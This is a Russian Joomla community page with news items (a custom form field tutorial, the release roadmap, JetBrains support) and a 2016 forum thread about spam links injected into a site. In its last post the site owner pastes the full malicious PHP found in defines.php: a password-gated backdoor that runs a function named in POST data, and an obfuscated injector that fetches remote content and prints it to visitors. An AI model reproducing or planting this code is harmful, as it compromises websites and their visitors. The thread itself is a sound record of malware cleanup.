Новости Joomla

Свои типы полей в Joomla.Это большая тема, о которой можно говорить очень много

Свои типы полей в Joomla.Это большая тема, о которой можно говорить очень много

👩‍💻 Свои типы полей в Joomla.Это большая тема, о которой можно говорить очень много. Самое главное, что возможности применения ограничиваются только вашей больной фантазией. Вы строите интерфейс своего модуля или плагина и вам нужно подтянуть данные из сторонней системы (список чего-нибудь по какому-нибудь API), чтобы сохранить выбранный id в Joomla. Или сделать какую-то проверку и в зависимости от неё показать то или иное сообщение пользователю. Для этого подойдут свои пользовательские типы полей. Интерфейс Joomla по большей части описан в XML-файлах. У каждого из них свои параметры. Некоторые не описаны в документации (manual.joomla.org), поэтому самым любопытным будет полезно заглянуть в собственно файлы фреймворка по пути

libraries/src/Form/FormField.php, а так же в
libraries/src/Form/Fields. У каждого класса поля перечислены его специфические свойства, которые можно описывать в XML. А в своём типе поля вы можете устанавливать эти значения программно. В моём модуле WT Quick links под капотом происходят изменения. Теперь для работы (в админке) ему нужен вспомогательный плагин. А в самом модуле нам бы проверить, а не выключен ли он? В Joomla есть тип поля Note - заметка. Его можно использовать для вывода примечаний.

<field type="note"     name="your_note_for_user"     label="Заголовок примечания"     title="Альтернативный способ для заголовка"     description="Текст примечания"     class="col-12 alert alert-info"     heading="h1"     close="true"/>
heading - указывать уровень заголовка.
close - позволяет закрыть это примечание. В классе поля
libraries/src/Form/Field/NoteField.php описана логика вывода. И в принципе оно нам подходит для нашей задачи. Но оно будет выводить сообщение всегда, а нам нужно только тогда, когда плагин отключён.Поэтому берём и создаём свой класс поля, который мы унаследуем от
NoteField. Это значит, что у нас в руках будет весь инструментарий стандартного поля
Note + то, что мы сами добавим. В XML-манифест добавляем наше поле
<field type="systempluginstatus"      name="systempluginstatus"     addfieldprefix="Joomla\Module\Wtquicklinks\Site\Fields"/>
-
type - имя файла и класса,-
addfieldprefix - указываем namespace к нашему классу, может быть любой нам нужный-
name - нельзя полю без имени...Это означает, что Joomla будет использовать класс поля из файла
modules/mod_wt_quick_links/src/Fields/SystempluginstatusField.php.А в классе поля будет написано следующее:
<?php// namespace для атрибута addfieldprefixnamespace Joomla\Module\Wtquicklinks\Site\Fields;// нельзя напрямую обращаться к этому файлуdefined('_JEXEC') or die;// подключаем родительский класс для переопределенияuse Joomla\CMS\Form\Field\NoteField;use Joomla\CMS\Language\Text;use Joomla\CMS\Plugin\PluginHelper;// имя класса и имя файла точь-в-точьclass SystempluginstatusField extends NoteField{     protected $type = 'Systempluginstatus';     protected function getLabel()          {               // если плагин не включён               if(PluginHelper::isEnabled('system','wtquicklinks')) {                    // меняем свойства родительского класса                    $this->class = 'alert alert-danger w-100';                    $this->element['label'] = '⚠️ А-а-а-а!';                    $this->element['description'] = 'Плагин не включён!!';                    // и просто рендерим его с нашими свойствами                    return parent::getLabel();               }          // А иначе всё хорошо, скрываем поле из виду.          $this->parentclass = 'd-none';          return '';     }}
Просто и удобно. И людям приятно, что о них позаботились и рассказали почему что-то не работает.@webtolkru#joomla #php #webdev #разработка

Обновлена информация в Плане развития Joomla

👩‍💻 Обновлена информация в Плане развития Joomla.Здесь собрана информация о датах релизов, описаны принципы версионирования, указаны ответственные за релизы, а так же даты окончания поддержки релизов. Опираясь на эту информацию вы можете планировать развитие ваших интернет-проектов.👩‍💻 Что нового?⛔️ Joomla 4.Дата окончания исправления ошибок безопасности в версии 4.x - 14 октября 2025г. ⚠️ После этой даты Joomla 4 прекратит получать какие-либо обновления, в том числе безопасности - вообще. Рекомендуем обновить ваши сайты до актуальной Joomla 5.✅ Joomla 5.- Дата окончания исправления ошибок в версии 5.x - 13 октября 2026г.- Дата окончания исправления ошибок безопасности в версии 5.x - 12 октября 2027 года.- Текущая актуальная (на момент написания заметки) версия - 5.3.1.- Опубликовано расписание выхода релизов Joomla 5.4. Стабильный релиз ожидается 14 октября 2025 года.✅ Joomla 6.- Дата окончания исправления ошибок в версии 6.x - 17 октября 2028г.- Дата окончания исправления ошибок безопасности в версии 6.x - 16 октября 2029г.- Опубликовано расписание выхода релизов Joomla 6.0. Стабильный релиз ожидается 14 октября 2025 года.- Для разработчиков уже доступна Joomla 6.0.0-alpha1.✅ Joomla! Framework.Обновлена информация о Joomla! Framework - полноценном PHP-фреймворке для разработки. Он в версиях 1.х и 2.х был самостоятельным параллельным проектом, однако начиная с версии Joomla 4.0 стал её основой. Добавлена информация о Joomla! Framework 3.x, который вышел 6 октября 2023 года. Его можно использовать в тех случаях, когда вам в проекте не нужна CMS Joomla целиком.Подробнее на сайте Joomla-сообщества Joomlaportal.ru#joomla #community

Компания JetBrains рассказала о своей поддержке Joomla

Компания JetBrains рассказала о своей поддержке Joomla

JetBrains - один из мировых лидеров в разработке программного обеспечения для разработчиков. Её программные продукты - это IDE - профессиональные среды разработки, которые отличаются от простого блокнота/редактора с плагинами набором всевозможных инструментов для разработчиков, глубоким анализом кодовой базы, подсказками по ней и по языку программирования, отладкой ошибок и многим-многим другим. Одним из самых известных продуктов компании является IDE PHP Storm, который можно назвать отраслевым стандартом PHP-разработчика.

В статье How PhpStorm Helps Maintain PHP Open-Source Projects: Interviews and Real-World Examples в блоге компании описываются Open Source проекты, которым JetBrains оказывает поддержку (это могут быть бесплатные лицензии для разработчиков для некоммерческих проектов).

В список попали:

  • PHPUnit - фреймворк для unit-тестирования в PHP
  • Doctrine DBAL - библиотека для PHP, которая предоставляет лёгкий и гибкий слой для коммуникации с базой данных. Она поддерживает различные базы данных через единый и согласованный API.
  • CodeIgniter — популярный MVC-фреймворк для разработки на PHP
  • Joomla! - наша любимая CMS.

Эти названия (кроме "Joomla") чаще всего не слышат вебмастера и разработчики обычных сайтов и интернет-магазинов. Но эти названия хорошо знакомы PHP-разработчикам, которые создают сложные и высоконагруженные проекты и микросервисы. То, что Joomla оказалась в одном ряду с такими программными инструментами - делает ей честь.

🙏 За ссылку спасибо участнику нашего сообщества Ринату Кажетову (@rkazhet).

Подпишитесь на @joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 23 Ответов
  • 1132 Просмотров
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Проблема в head
« : 16.03.2016, 10:49:31 »
У меня появилась такая вот проблема на сайте... в верхней части сайта появились какие то ссылки и у меня не получается их оттуда убрать, помогите пожалуйста ! http://www.lid.ee/galereya-rabot
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #1 : 16.03.2016, 10:54:38 »
это называется "кака на сайте"
попробуйте найти поиском по коду diving-krabi в ноте++ или блокноте, откуда лезет, если не закодировано.
вас таким образом решили заманить на дайвинг http://www.aqua-vision.net/index.html  ;D
видно модуль или шаб или расширение какое-то с вареза с такой ссылкой(-ми).
« Последнее редактирование: 16.03.2016, 10:57:53 от vipiusss »
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

effrit

  • Легенда
  • 10132
  • 1118 / 13
  • effrit.com
Re: Проблема в head
« Ответ #2 : 16.03.2016, 11:00:26 »
сайт из 3х страниц, шаб - бесплатный, галерея - тоже.
ну если шаб или галерею умудрились с варезника скачать - то сами себе буратины.
если сайтов на аккаунте несколько - то возможно что ломанули не через этот даже.
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #3 : 16.03.2016, 11:05:36 »
Шаблон бесплатный качался очень давно, а щас только это появилось... модуль facebook стоит официальный, из дополнений только галерея... а где эта "кака" может быть в шаблоне?
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #4 : 16.03.2016, 11:10:29 »
галерея... а где эта "кака" может быть в шаблоне?

поиском по коду diving-krabi в ноте++ или блокноте
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #5 : 16.03.2016, 11:11:02 »
поиском по коду diving-krabi в ноте++ или блокноте
ничего не дало
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #6 : 16.03.2016, 11:12:12 »
запакуйте сайт в архив, выложите где-то, дайте ссылку в личку.
найду.
мы тут не телепаты.
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #7 : 16.03.2016, 11:20:28 »
запакуйте сайт в архив, выложите где-то, дайте ссылку в личку.
найду.
мы тут не телепаты.
отправил ссылку
*

wishlight

  • Гуру
  • 5051
  • 314 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Проблема в head
« Ответ #8 : 16.03.2016, 11:21:10 »
Дорвей с рекламой фармы. ai-bolit скрипт найдет.
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #9 : 16.03.2016, 11:34:59 »
Дорвей с рекламой фармы. ai-bolit скрипт найдет.
Вредоносные скрипты не найдены.
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #10 : 16.03.2016, 11:36:48 »
ЛС получил, скачал, скоро доберусь, немного занят.
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #11 : 16.03.2016, 11:37:38 »
ЛС получил, скачал, скоро доберусь, немного занят.
я никого не тороплю =)
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #12 : 16.03.2016, 12:54:37 »
Что-то я ничего и не обнаружил в коде.
Может искал так(
Или оно не там сидит, а или в БД или вообще на соседнем сайте хоста.
Сорян.
« Последнее редактирование: 16.03.2016, 15:17:26 от vipiusss »
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

Skaneris

  • Осваиваюсь на форуме
  • 19
  • 5 / 0
Re: Проблема в head
« Ответ #13 : 16.03.2016, 22:25:59 »
А дайте-ка и мне ссылочку на архив. Посмотрю что там с ним.
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #14 : 16.03.2016, 22:29:20 »
Что-то я ничего и не обнаружил в коде.
Может искал так(
Или оно не там сидит, а или в БД или вообще на соседнем сайте хоста.
Сорян.
буду тогда БД шерстить, но что искать там?
*

Gosha5767

  • Захожу иногда
  • 487
  • 27 / 0
Re: Проблема в head
« Ответ #15 : 16.03.2016, 22:48:02 »
Можно еще проверить в папке images
Чистка сайта от дублей в Яндекс и Google.
Миграция Joomla 1.5 до Joomla 3.хх
Доработка сайта
*

Skaneris

  • Осваиваюсь на форуме
  • 19
  • 5 / 0
Re: Проблема в head
« Ответ #16 : 16.03.2016, 22:50:54 »
Скачал архив.
Попробуйте обновить на сервере файл administrator/includes/defines.php
Мой антивирус обнаружил там троянскую программу и ещё какую-то блоху. Я даже не могу посмотреть что там было, т.к. антивирус его сразу удаляет.
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #17 : 16.03.2016, 22:53:39 »
Спойлер
[свернуть]

наверное самое нижнее в коде, куки...хотя я вроде перекодировал и не вылазило у меня и я подумал админское что-то
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

Skaneris

  • Осваиваюсь на форуме
  • 19
  • 5 / 0
Re: Проблема в head
« Ответ #18 : 16.03.2016, 22:58:33 »
Во во.
Этот файл должен заканчиваться строкой:

define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #19 : 16.03.2016, 23:07:07 »
да, точно! Skaneris спасибо за помощь автору!
что-то я бегло наверно и не понял сразу!

Автор, в этом файле оставьте только это:

Спойлер
[свернуть]
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

Skaneris

  • Осваиваюсь на форуме
  • 19
  • 5 / 0
Re: Проблема в head
« Ответ #20 : 17.03.2016, 03:19:34 »
Но не факт, что на этом все беды закончились. 
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #21 : 17.03.2016, 19:58:56 »
Скачал архив.
Попробуйте обновить на сервере файл administrator/includes/defines.php
Мой антивирус обнаружил там троянскую программу и ещё какую-то блоху. Я даже не могу посмотреть что там было, т.к. антивирус его сразу удаляет.
Заменил на оригинал, но на фронте ничего не поменялось
*

vipiusss

  • Гуру
  • 5739
  • 344 / 11
  • Скайп: renor_
Re: Проблема в head
« Ответ #22 : 17.03.2016, 20:02:02 »
значит по поиску кода поищите участки того, что является лишним (я удалил уже архив).
возможно такое же ещё где-то сидит.
Миграция, установка, обновление версий Joomla  |  Создание сайтов "под ключ"  |  Эксклюзивные заглушки "offline"  |  Работа с "напильником" над шаблонами и расширениями
*

kish

  • Захожу иногда
  • 243
  • 3 / 0
  • Estonian referee
Re: Проблема в head
« Ответ #23 : 17.03.2016, 21:07:51 »
В обоих файлах defines.php был такой код
Код
//istart


function is_valid_url(&$url)
{
    if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
        return false;
    $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
    return true;
}

function request_url_data($url) {

    if(!is_valid_url($url))
        return false;

    $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI'])? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
            'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
            'Referer: ' . $site_url,
        ));
        $response = trim(curl_exec($ch));
    } elseif (function_exists('fsockopen')) {
        $m = parse_url($url);
        if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
            fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
                'Host: ' . $m['host'] . "\r\n" .
                'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
                'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
                    'Referer: ' . $site_url . "\r\n" .
                    'Connection: Close' . "\r\n\r\n");
            $response = '';
            while (!feof($fp)) {
                $response .= fgets($fp, 1024);
            }
            list($headers, $response) = explode("\r\n\r\n", $response);
            fclose($fp);
        }
    } else {
        $response = 'curl_init and fsockopen disabled';
    }
    return $response;
}

function decrypt_url($encrypted_url)
{
    $encrypted_url = base64_decode($encrypted_url);
    $url = '';
    for ($i = 0; $i < strlen($encrypted_url); $i++)
    {
        $url .= chr(ord($encrypted_url[$i]) ^ 3);
    }
    return $url;
}
error_reporting(0);
$_passssword = '68aa31e7a29e7bca10ced099b926e4cd';

$p = $_POST;

if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');




if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
    echo('<!--checker_start ');
    $tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
    echo(substr($tmp, 50));
    echo(' checker_end-->');
}
unset($_passssword);

$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
    if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
        $bad_url = true;
        break;
    }
}

$cookie_name = 'PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6)!= '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
//    setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
//        $url = base64_decode('a3d3czksLDIzOy0xNjMtMTc7LTIzOixhb2xkLDx3dnFhdm9mbWBmJXZ3blxwbHZxYGY+OjIzNDA5MTo1OjExOTc7Ow==');
    $url = decrypt_url('a3d3czksLDIzOy0xNjMtMTc7LTIzOixhb2xkLDx3dnFhdm9mbWBmJXZ3blxwbHZxYGY+OjIzNDA5MTo1OjExOTc7Ow==');
    $code = request_url_data($url);
//    if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
    if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
        $echo_done = true;
        print $decoded;
    }
}//iend
убрал его и всё пропало

Всем спасибо за помощь!
« Последнее редактирование: 17.03.2016, 21:11:10 от kish »
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Проблема с адаптацией

Автор Leo1986

Ответов: 1
Просмотров: 294
Последний ответ 22.05.2025, 20:30:25
от Leo1986
Проблема с плагином News Show gk5

Автор Evgeniy

Ответов: 4
Просмотров: 663
Последний ответ 27.03.2025, 05:38:57
от R31rus
Проблема со входом в панель администратора Joomla 3.x после обновления

Автор danieeljose

Ответов: 2
Просмотров: 707
Последний ответ 24.03.2025, 20:33:02
от R31rus
Проблема с меню

Автор denis_4

Ответов: 6
Просмотров: 1100
Последний ответ 07.08.2024, 14:00:43
от denis_4
Непонятная проблема с меню

Автор THE KILLERS

Ответов: 2
Просмотров: 6852
Последний ответ 25.07.2024, 16:07:39
от THE KILLERS